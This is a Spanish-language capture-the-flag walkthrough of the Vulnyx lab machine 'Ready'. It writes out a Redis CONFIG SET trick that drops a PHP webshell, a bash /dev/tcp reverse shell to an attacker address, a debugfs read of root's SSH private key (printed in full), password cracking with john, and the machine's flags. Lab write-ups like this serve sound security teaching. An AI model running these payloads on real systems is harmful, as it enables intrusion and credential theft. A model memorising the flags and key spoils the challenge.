Ready Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 03:14 EDT
Nmap scan report for 192.168.5.75
Host is up (0.00071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open redis Redis key-value store 6.0.16
8080/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
MAC Address: 08:00:27:82:6D:B2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.61 seconds
Veremos varios puertos interesantes, pero entre ellos dos los cuales suelen alojas paginas web que serian el puerto 80
y el 8080
vamos a ver que contiene cada uno de ellos.
Si entramos dentro del puerto 80
veremos una pagina de apache
normal por defecto, pero si entramos en la del 8080
veremos exactamente lo mismo, no veremos nada interesante fuera de lo normal, por lo que vamos a realizar un poco de fuzzing
.
Si lanzamos un gobuster
no veremos gran cosa, no nos va a detectar mas subdirectorios
web ni nada parecido, por lo que solo nos queda el puerto 6379
vamos a ver que hace y como funciona.
Redis (6379)
Qué es Redis
Es una base de datos NoSQL que guarda datos en memoria (y opcionalmente los persiste en disco).
No tiene “tablas” como MySQL, sino claves (
keys
) y valores (values
), que pueden ser strings, listas, hashes, sets, etc.Se administra normalmente vía CLI (
redis-cli
) o con librerías en varios lenguajes.
Por lo que vemos podemos acceder al mismo de forma anonima, vamos a probar si pudieramos conectarnos de forma anonima.
redis-cli -h <IP_VICTIM>
Info:
192.168.5.75:6379> PING
PONG
Veremos que nos hemos conectado de forma exitosa, realizamos un PING
para ver que funciona y efectivamente estamos dentro, dentro del mismo podremos modificar o subir archivos, lo que se nos ocurre que a lo mejor podremos subir una webshell
a la ruta de los archivos web para realizarnos una reverse shell
desde la web.
Escalate user ben
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php system(\$_GET['cmd']); ?>"
SAVE
Una vez echo esto, vamos a probar metiendonos en la pagina web de esta forma:
URL = http://<IP>:8080/shell.php?cmd=id
Info:
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Vemos que esta funcionando de forma correcta, por lo que vamos a realizar una reverse shell
.
URL = http://<IP>:8080/shell.php?cmd=/bin/bash -c "/bin/bash -i >%26 /dev/tcp/<IP_ATTACKER>/<PORT> 0>%261"
Ahora antes de enviarlo nos pondremos a la escucha:
nc -lvnp <PORT>
Si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.75] 46598
bash: cannot set terminal process group (461): Inappropriate ioctl for device
bash: no job control in this shell
ben@ready:/var/www/html$ whoami
whoami
ben
Vemos que hemos accedido de forma correcta con el usuario ben
por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Ahora que ya tenemos una shell mas limpia vamos a leer la flag
del usuario.
user.txt
e5d3f520423fdef77195ac688ecc27cb
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ben on ready:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on ready:
(peter) NOPASSWD: /usr/bin/bash
Vemos que podemos ejecutar el binario bash
como el usuario peter
, simplemente con este comando podremos ser dicho usuario.
sudo -u peter bash
Info:
peter@ready:/home/ben$ whoami
peter
Pero no nos interesa nada este usuario, ya que no puede hacer nada, volviendo al usuario ben
si hacemos id
veremos el siguiente grupo:
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Vemos que pertenecemos al grupo disk
podremos usar un comando dentro de debugfs
, para leer el archivo directamente desde el sistema de archivos ext, sin pasar por la capa del sistema operativo o permisos tradicionales.
Con esto lo que podemos hacer es poder leer cualquier archivo, vamos a probar si root
tuviera alguna clave privada de esta forma:
df -h
Info:
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 6.9G 1.5G 5.1G 22% /
udev 473M 0 473M 0% /dev
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 98M 492K 98M 1% /run
tmpfs 5.0M 0 5.0M 0% /run/lock
Ya sabemos que donde tenemos que entrar es en /dev/sda1
, por lo que haremos esto:
debugfs /dev/sda1
Info:
debugfs 1.46.2 (28-Feb-2021)
debugfs:
Dentro del mismo vamos a ejecutar el siguiente comando simple:
cat /root/.ssh/id_rsa
Info:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE
tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
Vemos que lo hemos conseguido, pero tambien veremos que esta encriptado la clave, por lo que vamos a ver si conseguimos decodificarla con estos comandos desde nuestro kali
.
id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE
tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
ssh2john id_rsa > hash.ssh | john --wordlist=<WORDLIST> hash.ssh
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
shelly (id_rsa)
1g 0:00:00:00 DONE (2025-08-11 03:49) 20.00g/s 19840p/s 19840c/s 19840C/s marie1..babyface
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que hemos conseguido la contraseña del id_rsa
por lo que vamos a utilizarla conectandonos con el usuario root
mediante SSH
.
chmod 600 id_rsa
ssh -i id_rsa root@<IP>
Metemos como contraseña shelly
...
Info:
Enter passphrase for key 'id_rsa':
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Wed Jul 12 18:22:32 2023
root@ready:~# whoami
root
Con esto veremos que estaremos dentro por lo que leeremos la flag
del usuario root
.
Veremos que la propia flag
esta comprimida, por lo que vamos a pasarnosla a la maquina kali
mediante un servidor de python3
(python3 -m http.server
).
Una vez que este en nuestro host
si intentamos descomprimirlo nos pedira una contraseña, por lo que vamos a crackearla
de esta forma:
zip2john root.zip > hash.zip | john --wordlist=<WORDLIST> hash.zip
Info:
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
already (root.zip/root.txt)
1g 0:00:00:00 DONE (2025-08-11 03:53) 33.33g/s 819200p/s 819200c/s 819200C/s christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que lo hemos conseguido, por lo que vamos a descomprimirlo de una vez con la contraseña obtenida.
unzip root.zip
Metemos como contraseña already
y veremos que lo descomprimimos de forma correcta.
root.txt
cf537b04dd79e859816334b89e85c435
Last updated